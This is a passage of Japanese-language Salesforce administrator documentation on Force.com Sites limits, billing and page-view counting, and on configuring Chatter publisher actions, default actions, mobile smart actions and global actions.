の要求がサイト要求ではない場合、この項目は空の文字列を返しま
す。

$Site.SiteTypeLabel

メモ: これらの式を使用するには、組織のForce.comサイト機能が有効になっている必要があります。公開
サイトのコンテキスト内でも式を使用する必要があります。使用しない場合、{!$Site.Template} 以外のすべ
ての式に対し空の文字列が返されます。{!$Site.Template} はサイトのデフォルトのテンプレートを返します。

関連トピック:

Force.com サイトの設定

Force.com サイトに関する検討事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Force.com サイトを作成および使用する前に、次の点に考慮してください。
パッケージ

パッケージには、次の事項が適用されます。
• サイトは、パッケージ化できません。ただし、管理パッケージを使用し

ているサイトについては、サンプルコード、Visualforce ページ、Apex クラ
ス、またはコンポーネントをパッケージ化できます。

• Force.comサイトでは、サイトを参照する VisualforceページまたはApexクラ
スを含む未管理パッケージをインストールできるようにする必要があり
ます。

アクセスと認証
商品、価格表、アイデアを除くすべての標準オブジェクトに「参照」および「作成」権限を付与すること
ができます。すべてのカスタムオブジェクトに「参照」、「作成」、「編集」、「削除」権限を付与する
ことができます。アクセスを追加する場合、サイト訪問者をポータルユーザとして認証する必要がありま
す。
カスタム認証はサポートされていません。次のオプションを使用して認証することができます。
• カスタマーポータル: 公開ログインおよび登録を有効にする
• パートナーポータル: パートナーポータルを作成する
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ヒント: サイトおよびポータルのシングルサインオンを有効にすることもできます。

関連トピック:

Force.com サイトの設定

Force.com サイトの制限と請求

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Force.com サイトの使用状況は、1 か月および 1 日あたりの制限値で管理されま
す。これらの制限値を理解することが、サイトの成功の鍵となります。Salesforce

は、制限値を超えないように、帯域幅の使用量を減らし、サイトの使用状況を
監視するために役立つツールを提供します。
このトピックには、次のセクションがあります。
• 制限および請求に関する用語
• サイトの制限および制約
• 帯域幅およびサービス要求時間の制限の適用
• 請求情報および月間ページビューの制限
• ページビューのカウント
• 監視の制限

制限および請求に関する用語
ここでは、Force.com サイトの制限および請求に使用する用語の意味を説明します。
• ページビューは、サイトの発信元サーバまたはキャッシュサーバのいずれかから発信されたページ数とし

て算出されます。
• 「帯域幅」は、サイトの発信元サーバおよびキャッシュサーバの両方から発信および受信されたメガバイ

ト数 (MB) として算出されます。
• 「サービス要求時間」は、サイトのページ生成に必要なサーバ時間の合計 (単位: 分) として計算されます。
• 「直近 24 時間」は、現在の時刻の直前の 24 時間を示します。
• 「発信元サーバ」は、サイトをホストする Web サーバを示します。
• 「キャッシュサーバ」は、キャッシュされたサイトページを発信する CDN サーバを示します。
• 「現在の期間」は、組織で特定のページビュー数を利用できる現在のカレンダー月を示します。

サイトの制限および制約
次の表に、それぞれのエディションでの制限を示します。

最大ページ
ビュー

サービス要求時間 (直近の
24 時間/サイトあたり)

帯域幅制限 (直近の 24 時
間/サイトあたり)

最大サイト数エディション

なし10 分500 MB1Developer Edition
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最大ページ
ビュー

サービス要求時間 (直近の
24 時間/サイトあたり)

帯域幅制限 (直近の 24 時
間/サイトあたり)

最大サイト数エディション

500,000Sandbox 30 分
本番 60 時間

Sandbox 1 GB

本番 40 GB

25Enterprise Edition

1,000,000Sandbox 30 分
本番 60 時間

Sandbox 1 GB

本番 40 GB

25Unlimited Edition

Performance Edition

これらの制限値に達することを避けるため、すべての使用可能なキャッシュオプションを考慮し、サイトの監
視にサイト使用状況分析ツールを使用してください。

帯域幅およびサービス要求時間の制限の適用
帯域幅およびサービス要求時間の制限は、24 時間単位で追跡、適用されます。24 時間のうちにサイトがプロ
ビジョニングされた制限を超えた場合でも、ホストインスタンスにサイトに提供するリソースがある限り、引
き続きサイトを使用できます。ただし、制限を超えた後もサイトを引き続き使用できますが、サービスレベル
は保証されません。

請求情報および月間ページビューの制限
ここでは、サイトの月間ページビューの制限方法について説明します。
• 請求情報は、組織が購入した月間ページビューの数に基づきます。このページビュー制限は、組織の全サ

イトで累積されています。
• 組織が月間ページビュー制限の 110% に達した場合、サイト管理者と請求管理者にメール通知が送信されま

す。
• 組織で 4 か月連続してページビュー制限の 110% を超えた場合、次のカレンダー月が始まるまで、または

ページビューを追加購入するまで、サイトが無効になります。また、メール通知がサイト管理者および請
求管理者、そして関連するアカウントエグゼクティブに送信されます。

• 指定されたカレンダー月で、組織がページビュー制限の 300% に達した場合、次のカレンダー月が始まるま
で、またはページビューを追加購入するまで、サイトが無効になります。また、メール通知がサイト管理
者および請求管理者、そして関連するアカウントエグゼクティブに送信されます。

ページビューのカウント
ここでは、サイトのページビューのカウント方法について説明します。
ページビューは、Force.comドメインまたはカスタムドメイン内のいずれかのサイトに関連付けられているペー
ジを読み込むための、非認証サイトユーザからの要求です。認証ポータルユーザからの要求は、ページビュー
としてカウントされません。
ページビューとして数える要求

次の要求はページビューとしてカウントされます。
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URL の例要求内容

http://mycompany.force.comForce.com ドメイン
http://mycompany.comカスタム Web アドレス
http://mycompany.force.com/mypageサイトと関連付けられている任意の

ページ
http://mycompany.force.com/Unauthorized[認証が必要] エラーページ

なし次のような AJAX 要求:

• JavaScript Remoting (Apex

RemoteAction など)

• Visualforce <apex:actionFunction>

• Visualforce <apex:actionPoller>

ページビューとして数えない要求
次の要求はページビューとしてカウントされません。

URL の例要求内容

http://mycompany.force.com/img/force_logo_w09.gifSalesforce 画像
http://mycompany.force.com/resource/1233771498000/background静的リソース
http://mycompany.force.com/robots.txtRobots.txt

http://mycompany.force.com/favicon.icoお気に入りアイコン

なし添付ファイルとドキュメント
http://mycompany.force.com/BandwidthExceeded[制限数を超えました] や [メンテナンス]

など、[認証が必要] 以外のエラーペー
ジ

http://mycompany.force.com/servlet/rtaImageHTML 項目に含まれる画像
http://mycompany.force.com/servlet/fileFieldカスタムファイル項目

メモ:  [制限数を超えました]、[メンテナンス]、[ページがみつかりません]、および [無効なホーム] と指
定されたページは、ページビューの制限および帯域幅の制限にはカウントされません。静的リソース
を使用して、これらのページにブランド情報を表示できますが、次の制限が適用されます。
• 静的リソースは、サイズが 50 KB 以内であること。
• 静的リソースは、スタイルシート (CSS)、画像ファイル、または JavaScript ファイルであること。
• これらのページには、Apex コントローラは使用できない。
• これらのページから SOQL 操作や DML 操作は実行できない。
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監視の制限
ページビュー数、帯域幅、時間消費が組織で追跡され、使用できます。サイトのこの情報は、[設定] > [ビル
ド] > [開発] > [サイト] で参照できます。サイトを選択すると、当月の請求サイクルのページビュー、および24

時間あたりの帯域幅とサービス要求時間の使用状況履歴の関連リストが表示されます。
さらに、AppExchange から Force.com Sites Usage Reporting アプリケーションをインストールして利用状況を監視す
ることもできます。アプリケーションで得られる情報は、組織で直接参照できる情報ほど最新でない場合があ
ります。
帯域幅とサービス要求時間についての詳細は、「Force.com サイトの使用状況履歴の参照」を参照してくださ
い。

関連トピック:

Force.com サイトの使用状況履歴の参照
Google Analytics を使用した Force.com Site の追跡

Force.com サイトとコミュニティで同じドメイン名を使用できますか?
いいえ、同じドメイン名は使用できません。
Force.comサイトとコミュニティでそれぞれ一意のドメイン名を使用する必要があります。Force.comサイトで使
用しているドメイン名を代わりにコミュニティで使用する場合、Salesforceサポートに連絡してドメイン名を変
更してください。

コミュニティビルダー (Site.com) と Force.com サイトの違いは?
コミュニティビルダーは、コミュニティをカスタマイズするための直感的で便利なツールです。一方、Force.com

サイトでは、Apex や API を使用してプログラムによってカスタムページや Web アプリケーションを作成できま
す。

コミュニティビルダー (Site.com)
コミュニティビルダーは、直観的に操作できる便利なコミュニティカスタマイズツールです。コミュニティビ
ルダーを使用すると、事前設定されたテンプレートに基づいてコミュニティを作成し、さらにブランド設定の
適用、ページの編集、テンプレートの更新、変更の公開をすべて 1 つの使いやすいインターフェースから実行
できます。
コミュニティビルダーでは、次のことができます。
• いずれかのセルフサービステンプレート (Koa、Kokua、カスタマーサービス (Napili)) を使用した応答性の高い

セルフサービスコミュニティの容易な作成
• Aloha テンプレートを使用した設定可能なアプリケーションランチャーの作成
• ピクセル単位まで完璧なブランド情報入りページの設計
• 誰でもアクセスできる公開ページの作成やコミュニティ内のタブとして追加できる非公開ページの追加
• 再利用可能なページ要素のドラッグアンドドロップを使用した迅速な構築と反復処理
• 用意されたフォームを使用した、Web-to-リードフォームの作成または顧客のフィードバックの収集
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• 組織のデータを使用した、製品カタログまたはその他のリストのようなデータ駆動のページの作成
• 追加設定オプションが備えられた Web コンテンツ管理システム、Site.com Studio でのコミュニティのホーム

ページおよびマルチ言語サポートの設定。Site.com Studio には [コミュニティ管理] から簡単にアクセスでき
ます。

Force.com サイト
Visualforce の使用経験がある開発者に適した Force.com サイトでは、分析、ワークフローおよび承認、プログラ
マブルロジックなどの Force.com の機能を継承して、カスタムページおよび Web アプリケーションを構築でき
ます。したがって、Apexおよび API を使用してサイトをプログラム的に作成したい場合には、Force.com サイト
の利用が適しています。Force.com では、次のことができます。
• 誰でもアクセスできるブランド情報入り公開ページの作成
• Visualforce を活用した、コミュニティ内のタブとして追加できる非公開ページの作成
• Apex コードを使用した、自分のコントローラまたはコントローラの拡張機能の作成
• カスタムログインまたはセルフ登録ページの作成
• 行動管理アプリケーションのような動的 Web アプリケーションの構築

機能のまとめ
どの製品を選択すればよいか、わかりましたか? 次の表を参照して、各製品の機能の詳細を確認してください。

Force.com サイトコミュニティビルダー機能

公開ページ

コミュニティテンプレート (Koa、Kokua、カスタマー
サービス (Napili)、Aloha)*

認証ページ*

Visualforce ページ

基本のログイン、ログアウト、セルフ登録、および
エラーページ

ドラッグアンドドロップ環境

再利用可能なコンポーネント

ピクセル単位まで完璧な設計

IP 制限

データ (ケース、リード、商談など) へのアクセス

標準搭載のフォーム

CMS
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Force.com サイトコミュニティビルダー機能

プログラム的なページ作成 (Apex、API、およびコント
ローラを使用)

Web アプリケーション

分析、レポート、ワークフロー

Force.com プラットフォームのフル機能

* コミュニティユーザのみがコミュニティビルダーで利用可能

組織の範囲の拡張

ユーザは、Salesforce 組織外のデータやサービスでの操作を必要とする場合があります。さまざまな方法によ
り、組織の境界を越えてシームレスなアクセスを提供できます。

アクション、ボタン、およびリンクの提供
ボタンおよびリンクを使用すると、ユーザはSalesforceデータや外部 Web サイトおよびサービス (検索エンジ
ンやオンラインマップなど) とやりとりができます。Salesforceにはいくつかの標準ボタンと標準リンクがあ
ります。また、カスタムのボタンやリンクも作成できます。アクションを使用すると、ユーザは Chatter パ
ブリッシャーおよび Salesforce1 でレコードの作成などの作業を実行できます。
外部サービス (ベータ)

選択したサービスに接続したり、外部ソースに基づくメソッドをフローによって起動したり、サービスか
ら Salesforce にデータをインポートしたりするには、外部サービスを使用しますが、これらはすべて、簡単
に使用できるウィザードによって行うことができます。
Salesforce Connect を使用した外部データへのアクセス
Salesforce Connect を使用すると、ユーザは Salesforce 組織外に保存されているデータを表示、検索、変更でき
ます。標準オブジェクトまたはカスタムオブジェクトにデータをコピーする代わりに、外部オブジェクト
を使用して、Web サービスコールアウトでリアルタイムにデータにアクセスできます。
外部データソースの操作
外部データソースは、外部システムへのアクセス方法を指定します。Salesforce Connect では、外部データソー
スを使用して、Salesforce 組織外に保存されているデータにアクセスします。Files Connect では、外部データ
ソースを使用して、サードパーティのコンテンツシステムにアクセスします。外部データソースは、ユー
ザおよび Force.com プラットフォームが外部データやコンテンツを操作するために使用する、外部オブジェ
クトに関連付けられます。
Salesforce と Heroku 間のデータの同期
Heroku Connect では、Salesforce と Heroku Postgres 間でデータを同期できます。
セカンダリ Salesforce 組織との同期
組織同期では、プライマリ組織のダウンタイムまたはメンテナンス中にユーザがアクセスできる、同期済
みのセカンダリ Salesforce 組織を設定できます。
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アクション、ボタン、およびリンクの提供
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ボタン、リンク、アク
ションを作成または編集
する
• 「アプリケーションの

カスタマイズ」

ボタンおよびリンクを使用すると、ユーザは Salesforce データや外部 Web サイト
およびサービス (検索エンジンやオンラインマップなど) とやりとりができます。
Salesforce にはいくつかの標準ボタンと標準リンクがあります。また、カスタム
のボタンやリンクも作成できます。アクションを使用すると、ユーザは Chatter

パブリッシャーおよびSalesforce1でレコードの作成などの作業を実行できます。

ユーザによるアクションの実行
アクションを使用すると、Salesforce および Salesforce1 でユーザが実行できる
操作が増えます。たとえば、ユーザがレコードの作成および更新や活動の記
録をChatterフィードで直接実行したり、モバイルデバイスから実行したりで
きます。
カスタムボタンとカスタムリンクの提供
カスタムボタンとカスタムリンクを使用して、Salesforceのデータを外部 URL、
アプリケーション、社内イントラネット、またはその他のバックエンドオ
フィスシステムに統合できます。

ユーザによるアクションの実行

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

クイックアクションを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

カスタムキャンバスを使
用可能なエディション:
Professional Edition
(Force.com Canvas が有効
な場合)、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

アクションを使用すると、Salesforce および Salesforce1 でユーザが実行できる操作
が増えます。たとえば、ユーザがレコードの作成および更新や活動の記録を
Chatterフィードで直接実行したり、モバイルデバイスから実行したりできます。
アクションを作成し、ホームページ、Chatterタブ、Chatterグループ、レコード詳
細ページで、Chatter パブリッシャーにそれらを追加します。作成アクションや
更新アクションなどの標準アクションから選択するか、会社のニーズに基づい
てアクションを作成します。
Salesforce Classic では、アクションは Chatter パブリッシャーに表示されます。
Lightning Experience では、アクションはその種別に応じてユーザインターフェー
スの異なる領域に表示されます。Salesforce1 では、アクションは、アクション
バーおよび関連するアクションメニューにリスト項目アクションとして表示さ
れます。

アクション種別
アクションには、標準Chatterアクション、非標準アクション、デフォルトア
クション、モバイルスマートアクション、カスタムアクション、生産性アク
ションなどの複数のカテゴリがあります。
Chatter パブリッシャーのアクションの有効化
パブリッシャーのアクションを有効化すると、作成したアクションをホーム
ページの Chatter パブリッシャー、Chatter タブ、Chatter グループ、レコードの
詳細ページに追加できます。
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アクションレイアウトエディタ
オブジェクトレコードページにカスタマイズ可能なページレイアウトがあるのと同じように、アクション
にもカスタマイズ可能なアクションレイアウトがあります。アクションを作成するとき、レイアウトには
デフォルトの項目セットが入力されます。アクションレイアウトで項目を追加、削除、または並び替えて、
ユーザがアクションの実行時に必要とする重要な項目のみを表示できます。
クイックアクションのカスタム成功メッセージ
[レコードを作成]、[レコードを更新]、[活動の記録] アクション種別に、アクションが正常に実行された場
合に表示されるカスタムメッセージを作成できます。
高度なページレイアウトエディタを使用したアクションのカスタマイズ
ページレイアウトエディタを使用して、どのアクションがSalesforceおよびSalesforce1に表示されるのかをカ
スタマイズします。
クイックアクション項目の定義済み項目値の設定
アクションを作成する場合、定義済み項目値を使用して項目の値を設定します。定義済みの値を使用する
と、ユーザは一貫性を保ち、より速くより簡単にレコードを作成できます。
グローバルパブリッシャーレイアウト
Lightning Experience のアクション
Lightning Experience では、アクションはヘッダーの [グローバルアクション] メニュー、リストビュー項目、
およびレコードページ上の数か所に表示されます。レコードページ上の表示される場所は、アクションの
種別に応じて異なります。
Salesforce1 アクションバー
Salesforce1 ユーザは、1 か所でアクションを検索できるため、アクションの実行場所について困惑すること
がありません。Salesforce1のさまざまな場所にあったアクションがアクションバーと関連するアクションメ
ニューに集約され、ホームとして一元化されました。
クイックアクションとレコードタイプ
組織でレコードタイプを使用すると、ユーザに対するクイックアクションの可用性に影響を及ぼすことが
あります。
アクションのベストプラクティス
アクションを設定する場合は、次のヒントを参考にしてください。
クイックアクションの考慮事項
組織でクイックアクションを操作するときは、次の考慮事項に留意してください。
アクションのトラブルシューティング

関連トピック:

Chatter が有効な場合のアクションの設定
アクションのベストプラクティス
クイックアクションの考慮事項
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アクション種別

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

クイックアクションを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

カスタムキャンバスを使
用可能なエディション:
Professional Edition
(Force.com Canvas が有効
な場合)、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

アクションには、標準 Chatter アクション、非標準アクション、デフォルトアク
ション、モバイルスマートアクション、カスタムアクション、生産性アクショ
ンなどの複数のカテゴリがあります。
Salesforce フルサイトで使用可能なアクションは、組織でChatter、フィード追跡、
およびパブリッシャーのアクションが有効になっているかどうかに応じて異な
ります。Salesforce1 のアクションには、Chatter またはパブリッシャーのアクショ
ンが有効になっているかどうかは影響しません。Chatter の有効化がアクション
の表示に与える影響については、「Chatterが有効な場合と無効な場合のアクショ
ン」 (ページ 6281)を参照してください。

表示される場所含まれるアクショ
ン

説明カテゴリ

Salesforce および
Salesforce1

Lightning Experience

でサポートされる
のは [投稿] と [お知
らせ] のみ

[投稿]、[ファイ
ル]、[リンク]、[ア
ンケート]、[質
問]、[感謝]

(Work.com)、および
[お知らせ] (グルー
プ)

標準 Chatter アクション
は、Chatterが有効になって
いる場合に含まれます。
これらのアクションの表
示順序はカスタマイズで
きますが、これらのプロ
パティは編集できません。
標準 Chatter アクションを
使用するには、オブジェ
クトのフィード追跡が有
効になっている必要があ
ります。

標準Chatter

アクショ
ン

Salesforce および
Salesforce1

オブジェクトに
よって異なりま
す。グローバルア

デフォルトアクションは、
組織のシステム管理者と
ユーザがアクションの使

デフォル
トアク
ション

クションおよびオ用を開始できるようにす
ブジェクトに適用るための Salesforce の事前
されるデフォルト定義済みアクションです。
アクションのリスデフォルトアクションを
トについては、パブリッシャーレイアウ
「デフォルトアクトに追加すると、Salesforce

ション」 (ページフルサイトおよび
6257)を参照してくだ
さい。

Salesforce1 のアクション
バーでユーザが使用でき
るようになります。
デフォルトアクションは、
取引先、ケース、取引先
責任者、リード、および
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表示される場所含まれるアクション説明カテゴリ

商談オブジェクトでサポートされて
います。

Salesforce1オブジェクトによって異
なります。各オブジェク

モバイルスマートアクションも、デ
フォルトアクションと同様に事前設

モバイルスマー
トアクション

トで展開されたモバイル定されたアクションで、同じ一連の
オブジェクトでサポートされます。
モバイルスマートアクションは、
ページレイアウトエディタに単一の
要素として表示されます。

スマートアクション要素
に含まれるアクションの
リストについては、「モ
バイルスマートアクショ
ン」 (ページ6261)を参照し
てください。Salesforce1では、モバイルスマートア

クション要素は、一連の異なる作成
アクションに展開され、ユーザが
フィードでレコードを直接作成でき
るようになります。

Salesforce および Salesforce1

顧客を含む Chatter グルー
プではサポートされませ
ん

ユーザが作成するカスタ
ムアクション。

カスタムアクションは、自分で作成
およびカスタマイズする、[レコード
を作成]、[メールを送信]、[活動の記
録] などのアクションです。定義した
機能を備えた Lightning コンポーネン

カスタムアク
ション

ト、Visualforceページ、またはキャン
バスアプリケーションを呼び出すこ
ともできます。たとえば、ユーザが
5,000 文字よりも長いコメントを作成
できるようにするカスタムアクショ
ンや、サポートエージェントが顧客
と視覚的にやりとりするためのビデ
オ会議アプリケーションを統合する
カスタムアクションを作成できま
す。
カスタムアクションは、グローバル
またはオブジェクト固有にすること
ができます。

Salesforce (Lightning Experience

のみ) と Salesforce1
オブジェクトによって異
なります。アクションに
は、[メールを送信]、[活動

生産性アクションは Salesforce によっ
て事前定義され、制限されたオブ
ジェクトのセットに適用されます。

生産性アクショ
ン

の記録]、[地図]、[Web サ生産性アクションを編集または削除
することはできません。
生産性アクションは次のオブジェク
トに表示されます。
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表示される場所含まれるアクション説明カテゴリ

イトを表示]、[ニュースを
閲覧] が含まれます。

• 取引先
• 取引先責任者
• 行動
• リード
• ユーザ
• ユーザプロファイル

アクションのカテゴリには、機能に応じてさまざまな種別のアクションを分類できます。
• [作成] アクションではレコードを作成できます。これらは、Salesforceホームページの [簡易作成] 機能および

[新規作成] 機能とは異なります。この作成アクションでは、入力規則や項目の必須性が遵守され、各アク
ションの項目を選択できるためです。

• [メールを送信] アクションは、Lightning Experienceでのみサポートされています。ケースレイアウトに追加し
たり、ケースで使用したりすることはできません。
ケースの場合、ユーザが Salesforce1 でケースフィードの [メール] アクション (簡易版) にアクセスできる、
ケース固有の [メールを送信] アクションを追加します。ケース固有の [メールを送信] アクションは、Salesforce

Classic、Lightning Experience、および Salesforce1 で使用できます。
• [活動の記録] アクションを使用すると、ユーザは通話やその他の顧客とのやりとりの詳細を記録できます。

これらの活動ログは、完了した ToDo として保存されます。
• [質問] アクションを使用すると、ユーザは、操作しているレコードに関する質問をしたり、質問を検索し

たりできます。
• [更新] アクションでは、ユーザがレコードを変更できます。
[作成] アクション、[活動の記録] アクション、およびカスタムアクションでは、オブジェクト固有アクション
またはグローバルアクションのいずれかを作成できます。[更新] アクションはオブジェクト固有である必要が
あります。

デフォルトアクション
デフォルトアクションは、組織のシステム管理者とユーザがアクションの使用を開始できるようにするた
めの Salesforce の事前定義済みアクションです。デフォルトアクションをパブリッシャーレイアウトに追加
すると、Salesforce フルサイトおよび Salesforce1 のアクションバーでユーザが使用できるようになります。
モバイルスマートアクション
モバイルスマートアクションは、Salesforce1の取引先、ケース、取引先責任者、リード、商談ページ上、お
よびグローバルパブリッシャーレイアウト上で使用可能なクイックアクションです。モバイルスマートア
クションを使用すれば、モバイルユーザ向けのクイックアクションをわずかな作業で設定できます。
グローバルアクション
グローバルアクションは、アクションをサポートするほぼすべてのページに追加できます。グローバル作
成アクションにより、ユーザはオブジェクトレコードを作成することができますが、新規レコードと他の
レコードとの間にリレーションはありません。
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オブジェクト固有のアクション
オブジェクト固有のアクションでは、レコードの作成または更新、活動の記録、メールの送信などの操作
を特定のオブジェクトのコンテキストですばやく行うことができます。
カスタムクイックアクション
カスタムアクションは、自分で作成およびカスタマイズする、[レコードを作成]、[メールを送信]、[活動の
記録] などのアクションです。定義した機能を備えた Lightning コンポーネント、Visualforce ページ、または
キャンバスアプリケーションを呼び出すこともできます。たとえば、ユーザが 5,000 文字よりも長いコメン
トを作成できるようにするカスタムアクションや、サポートエージェントが顧客と視覚的にやりとりする
ためのビデオ会議アプリケーションを統合するカスタムアクションを作成できます。

デフォルトアクション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

デフォルトアクションは、組織のシステム管理者とユーザがアクションの使用
を開始できるようにするためのSalesforceの事前定義済みアクションです。デフォ
ルトアクションをパブリッシャーレイアウトに追加すると、Salesforce フルサイ
トおよび Salesforce1 のアクションバーでユーザが使用できるようになります。
デフォルトアクションにはそれぞれ、事前定義された一連の項目があります。
ページレイアウトエディタまたはグローバルパブリッシャーレイアウトを使用
して、アクションを削除したり、アクションの表示順序を変更したりします。
次の表に、使用可能なデフォルトアクションを示します。斜体のアクションは、
標準 Chatter アクションです。

メモ: Winter '14 以降に作成された組織では、デフォルトアクションは、取引
先、ケース、取引先責任者、リード、および商談オブジェクトのグローバ
ルパブリッシャーレイアウトとパブリッシャーレイアウトに追加されます。
Winter '14 より前に作成された組織では、デフォルトアクションは、ページ
レイアウトエディタのパレットで使用できますが、パブリッシャーレイア
ウトに自動的に追加されることはありません。

デフォルトアクションページレイアウト

グローバルレイアウト (カスタムオブジェクトにも適
用されます)

• 投稿
• ファイル
• 新規行動
• 新規 ToDo

• 新規取引先責任者
• 活動の記録 (記録された活動は、完了した ToDo と

して保存されます)

• 新規商談
• 新規ケース
• 新規リード
• 感謝
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デフォルトアクションページレイアウト

• リンク
• アンケート
• 質問

取引先 • 投稿
• ファイル
• 新規行動
• 新規 ToDo

• 新規取引先責任者
• 新規ケース
• 活動の記録 (記録された活動は、完了した ToDo と

して保存されます)

• 新規メモ
• 新規商談
• 感謝
• リンク
• アンケート
• 質問

ケース • 投稿
• ファイル
• 新規子ケース
• 活動の記録 (記録された活動は、完了した ToDo と

して保存されます)

• 新規 ToDo

• 新規行動
• 感謝
• リンク
• アンケート
• 質問

取引先責任者、リード、商談 • 投稿
• ファイル
• 新規 ToDo

• 活動の記録 (記録された活動は、完了した ToDo と
して保存されます)

• 新規ケース
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デフォルトアクションページレイアウト

• 新規メモ
• 新規行動
• 感謝
• リンク
• アンケート
• 質問

メモ: 組織でのレコードタイプの使用は、ユーザのグローバルデフォルトアクションの可用性に影響する
可能性があります。詳細は、「クイックアクションとレコードタイプ」 (ページ6314)を参照してください。

デフォルトアクションを示す項目
各デフォルトアクションには事前定義された一連の項目が含まれているため、ユーザは設定に長い時間を
費やすことなくアクションを使用できます。

関連トピック:

ユーザによるアクションの実行

デフォルトアクションを示す項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

各デフォルトアクションには事前定義された一連の項目が含まれているため、
ユーザは設定に長い時間を費やすことなくアクションを使用できます。
これらの項目は、各デフォルトアクションに含まれ、ここに記載された順番で
アクションレイアウトに表示されます。

項目アクション

活動の記録 • 件名 (デフォルト値: 電話)

• コメント (説明)

• 名前
• 関連先

新規ケースおよび新規子ケース • 取引先責任者名
• 状況
• 件名
• 説明

新規取引先責任者 • 名前
• メール
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項目アクション

• 電話
• 取引先名
• 役職

新規行動 • 件名
• 開始
• 終了
• 終日行動
• 名前
• 関連先
• 割り当て先
• 場所

新規リード • 名前
• メール
• 電話
• 会社名
• 役職

新規メモ • 役職
• 公開 (チェックボックス)

• 内容

新規商談 • 商談名
• 取引先
• 完了予定日 (デフォルト値: 30 日後)

• フェーズ
• 金額

新規 ToDo • 件名
• 期日
• 名前
• 関連先
• 割り当て先
• 状況
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アクションレイアウトエディタを使用すると、各アクションレイアウトに表示される項目を変更できます。

関連トピック:

デフォルトアクション
ユーザによるアクションの実行

モバイルスマートアクション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

モバイルスマートアクションは、Salesforce1 の取引先、ケース、取引先責任者、
リード、商談ページ上、およびグローバルパブリッシャーレイアウト上で使用
可能なクイックアクションです。モバイルスマートアクションを使用すれば、
モバイルユーザ向けのクイックアクションをわずかな作業で設定できます。

メモ: モバイルスマートアクションは、どのページレイアウトに追加する
かに関係なく、Salesforce フルサイトには表示されません。Salesforce1 のユー
ザにのみ表示されます。フルサイトにアクセスするよりもモバイルデバイ
スのSalesforceにアクセスすることが多いユーザがいる場合は、これらのユー
ザ用の特定のページレイアウトを作成し、こうしたレイアウトにモバイル
スマートアクションのみを含めることを検討します。

モバイルスマートアクションには、存在する項目数に関係なく、関連オブジェ
クトで組織のすべての必須項目が取り込まれます。たとえば、モバイルスマー
トアクションバンドルの [新規ケース] アクションには、ケースの必須項目がす
べて含まれます。モバイルスマートアクションの項目は編集できません。オブ
ジェクトのどの項目が必須であるかを変更した場合にのみ、表示される項目が
変わります。
[新規行動] の削除や、カスタムアクションの追加など、モバイルスマートアクションバンドルの一部として含
まれるアクションの変更もできません。よりカスタマイズされたアクションのセットを作成するには、必要な
アクションを作成して関連するページレイアウトに追加し、モバイルスマートアクションバンドルを削除しま
す。
モバイルスマートアクションは、ページレイアウトエディタに単一のアクション要素として表示されます。た
だし、これらのアクションは、Salesforce1のアクションバーおよびアクションメニューには個々の作成アクショ
ンとして表示されます。ユーザはこれらの個々のアクションを使用して、アクションバーから直接レコードを
作成できます。
各サポート対象オブジェクトのモバイルスマートアクション要素は、次の項目を含めて拡張できます (アクショ
ンは、次の順序でアクションバーとメニューに表示されます)。

モバイルスマートアクションバンドルに含まれるアク
ション

レイアウト

グローバルレイアウト (カスタムオブジェクトにも適
用されます)

• 新規 ToDo

• 新規取引先責任者
• 活動の記録 (記録された活動は、完了した ToDo と

して保存されます)
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モバイルスマートアクションバンドルに含まれるアク
ション

レイアウト

• 新規商談
• 新規ケース
• 新規リード

取引先 • 新規 ToDo

• 新規取引先責任者
• 新規ケース
• 活動の記録 (記録された活動は、完了した ToDo と

して保存されます)

• 新規メモ
• 新規商談

ケース • 新規子ケース
• 活動の記録 (記録された活動は、完了した ToDo と

して保存されます)

• 新規 ToDo

• 新規行動

取引先責任者 • 新規 ToDo

• 活動の記録 (記録された活動は、完了した ToDo と
して保存されます)

• 新規ケース
• 新規メモ
• 新規行動

リード • 新規 ToDo

• 活動の記録 (記録された活動は、完了した ToDo と
して保存されます)

• 新規ケース
• 新規メモ
• 新規行動

商談 • 新規 ToDo

• 活動の記録 (記録された活動は、完了した ToDo と
して保存されます)

• 新規ケース
• 新規メモ
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モバイルスマートアクションバンドルに含まれるアク
ション

レイアウト

• 新規行動

関連トピック:

ユーザによるアクションの実行
Chatter が有効な場合のアクションの設定

グローバルアクション

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

グローバルアクションは、アクションをサポートするほぼすべてのページに追
加できます。グローバル作成アクションにより、ユーザはオブジェクトレコー
ドを作成することができますが、新規レコードと他のレコードとの間にリレー
ションはありません。
[レコードを作成] グローバルアクションを使用して、Salesforce for Outlook ユーザ
が Salesforce サイドパネルから直接新しいレコードを作成できるようにすること
もできます。詳細は、「Salesforce サイドパネルからレコードを直接作成する営
業担当の設定」 (ページ 2502)を参照してください。

メモ: ユーザプロファイルページには、ユーザページレイアウトのアクショ
ンに関係なく、Chatter 標準アクション ([投稿]、[ファイル]、[リンク]、[アン
ケート]、[感謝]) のみが表示されます。

